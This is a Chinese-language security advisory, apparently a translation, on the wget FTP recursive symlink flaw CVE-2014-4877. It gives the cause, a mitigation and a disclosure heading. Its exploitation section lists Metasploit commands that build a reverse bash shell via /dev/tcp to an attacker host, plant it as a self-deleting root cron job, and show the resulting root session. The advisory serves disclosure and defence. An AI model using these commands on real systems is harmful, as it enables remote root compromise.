介紹
GNU Wget是一個命令列實用程式,用於通過HTTP、HTTPS和FTP下載檔案。1.16之前的Wget版本在使用FTP目標以遞迴模式運行時易受符號連結攻擊(CVE-2014-4877)。此漏洞允許運行惡意FTP伺服器的攻擊者在用戶的檔案系統上創建任意檔案、目錄和符號連結。symlink攻擊允許覆蓋檔案內容,包括二進位檔案,並在運行wget的用戶的許可權下訪問整個檔案系統。此漏洞可導致通過系統級向量(如cron)和用戶級向量(如bash設定檔和SSH授權的金鑰)執行遠程程式碼。
脆弱性
當wget接收到一個包含符號連結和同名目錄的目錄清單時,會觸發該漏洞。LIST命令的輸出如下所示,這在真正的FTP伺服器上是不可能的。
lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> /
drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET
Wget首先創建一個名為TARGET的本地符號連結,該符號連結指向根檔案系統。然後它將進入目標目錄並在用戶的檔案系統中鏡像其內容。
陞級至wget 1.16版本或已備份CVE-2014-4877補丁的包。如果您使用的發行版本未附帶wget的修補版本,則可以通過將retr symlinks=on行添加到/etc/wgetrc或~/.wgetrc來緩解此問題。只有在針對FTP伺服器URL以遞迴模式運行wget時,才可利用此問題。儘管HTTP服務可以將wget重定向到FTP URL,但它在執行此重定向後隱式禁用遞迴選項,並且在此場景中不可利用。
retr-symlinks=on
/etc/wgetrc
~/.wgetrc
剝削
我們已經發佈了一個Metasploit模塊來演示這個問題。在下麵的示例中,我們演示如何針對以根用戶身份運行wget的用戶獲取針對惡意FTP服務的反向命令shell。本例使用cron守護進程和反向連接bash shell。首先,我們將使用msfpayload創建一個反向連接命令字串。
# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R
0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112
接下來,我們創建一個crontab檔案,該檔案每分鐘運行一次,啟動此命令並删除自身:
# cat>cronshell <<EOD
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell
EOD
現在,我們啟動msfconsole並配寘一個shell偵聽器:
# msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.0.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.4:4444
最後,我們切換到wget模塊本身:
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
msf auxiliary(wget_symlink_file_write) > run
[+] Targets should run: $ wget -m ftp://192.168.0.4:21/
[*] Server started.
此時,我們只需等待目標用戶運行wget-m ftp://192.168.0.4:21/
wget -m
[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> RETR cronshell
[+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500
msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...
id
uid=0(root) gid=0(root) groups=0(root),1001(rvm)
披露時間表
該問題由Rapid7的HD Moore發現,並向Wget和CERT/CC的上游供應商披露,詳情如下: